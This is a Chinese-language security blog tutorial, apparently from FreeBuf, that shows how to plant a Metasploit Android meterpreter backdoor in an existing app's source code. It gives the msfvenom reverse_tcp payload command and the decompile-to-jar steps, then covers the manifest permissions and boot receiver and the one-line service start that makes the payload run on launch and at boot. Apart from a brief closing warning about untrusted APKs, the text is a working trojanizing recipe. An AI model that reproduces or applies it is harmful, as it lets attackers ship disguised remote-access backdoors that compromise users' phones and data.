添加Metasploit-payload到已有的Android項目中
*本文原創作者:xiaohuanshu,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
metasploit在寫這篇文章之前,筆者可以說是對java一竅不通,也從來沒有寫過什麼Android應用,在幾天的摸爬滾打中終於實現了最終的目的,就是在已有Apk源碼的情況下,用了比較另類的方式,添加metasploit後門。
同時支持java/scala兩種語言寫的項目,主要是為了給大家提供一些思路,如果哪裡寫的不準確,歡迎指正。
可能有人說,目前已經有各種各樣的工具,比如backdoor-apk能夠感染已編譯好的Apk文件,但是經過筆者的測試,這種被感染後的文件使用起來不是很穩定,而且apktool本身有缺陷,導致很多apk反編譯後無法重新編譯。
所以,既然有源碼,為何要生成apk後再注入後門?
payload分析
首先使用
msfvenom生成一個payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > payload.apk
使用a
pktool與dex2jar反編譯:
apktool d payload.apkd2j-dex2jar payload.apk
最後用jd-gui打開d2j-dex2jar生成出的payload-dex2jar.jar
結合AndroidManifest.xml分析源碼後發現,Payload的服務為com.metasploit.stage.MainService。
啟動服務的方式有兩種,一個是主Activity(android.intent.action.MAIN),也就是點擊程序圖標後運行的Activity,另一個是接收android.intent.action.BOOT_COMPLETED,也就是開機自動啟動服務。
啟動服務的代碼為
MainService.startService(context);
也就是說,只要把啟動服務的代碼添加到項目源碼中的相應位置,就可以實現添加後門。
筆者首先想將反編譯後的java源碼直接添加到項目中,但無奈編譯不成功,在網上查找相關資料後發現,jd-gui反編譯的jar文件本身就有問題,只能做參考。
如果直接用github上payload的源碼,又不知道Payload的配置串是如何加密的。
最後突然想到,既然dex2jar已經將payload轉換為了jar文件,那直接將jar作為依賴包導入到工程中不就行了。
導入jar包
Android Studio
拷貝payload-dex2jar.jar到app/libs目錄下
打開app目錄下的build.gradle,在dependencies中添加compile files(『libs/payload-dex2jar.jar『)
Sbt/scala
拷貝payload-dex2jar.jar到lib目錄下
修改AndroidManifest.xml
選擇性添加添加以下許可權
可以根據需要,選擇性的添加所需要的許可權
添加服務
添加開機啟動
如果需要添加開機啟動,則必須添加android.permission.RECEIVE_BOOT_COMPLETE
D許可權。
修改源碼,啟動服務
java與s
cala相同,定位到Main Activity所在的文件中,添加import
i
mport com.metasploit.stage.MainService;
在Activity的onCreate方法中,添加
MainService.startService(this);
編譯、簽名、測試
編譯與簽名的環節就略過了,最終的測試結果非常滿意,無論是打開程序運行與開機自動運行都成功,並且連接很穩定。
後記
通過導入jar包的方式添加後門也算是另類的方式了吧,不過也算很方便了,jar包只要生成一次,就可以當做一個依賴包添加到所有Android項目中。當然一定還有更好的方法,本文只是提供一個思路。
同時提醒大家留意來路不明的Apk文件,防止被安裝後門,信息安全不容小視。
*本文原創作者:xiaohuanshu,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
※WhatsApp的「後門」是故意為之,還是提升體驗的副產品?
※GoDaddySSL驗證過程出現bug,CA證書頒發自動化值得思考
※眾安保險推出免費電信詐騙保險
※Shadow Brokers決定退隱江湖,並放出方程式免費入侵工具
TAG:FreeBuf |
※Google關閉Android 7.x Beta項目 開始迎接Android O
※Google關閉Android 7.x Beta項目 全面開始擁抱Android O
※《Yooka-Laylee》將支持Xbox Play Anywhere項目
※Design HY Alias 分享 r-truck項目
※像 npm 一樣在 Andriod 項目中引入 Gradle 依賴
※把angular項目整合到.net mvc中
※Docker平台與Moby項目迎來Kubernetes
※Chrome OS上的Android app公測項目將持續到今夏
※基於vue-electron的小項目
※重磅!阿里巴巴正式開源全球化OpenMessaging和ApsaraCache項目
※支持Edge Sense,HTCU11Life將是Android One項目機種
※Kickstarter聯合項目管理專家推Hardware Studio計劃
※聯想預覽和迪斯尼合作的 AR 項目 Star Wars: Jedi Challenges
※古馳將開展多元文化項目「Primavera di Boboli」
※Kickstarter推出Gold計劃 老項目回歸
※[圖]聯想和迪斯尼合作推進AR項目--Star Wars: Jedi Challenges
※vue-cli項目中怎麼mock數據
※Wilson Associates亞洲項目震撼發布
※Django項目部署到Apache伺服器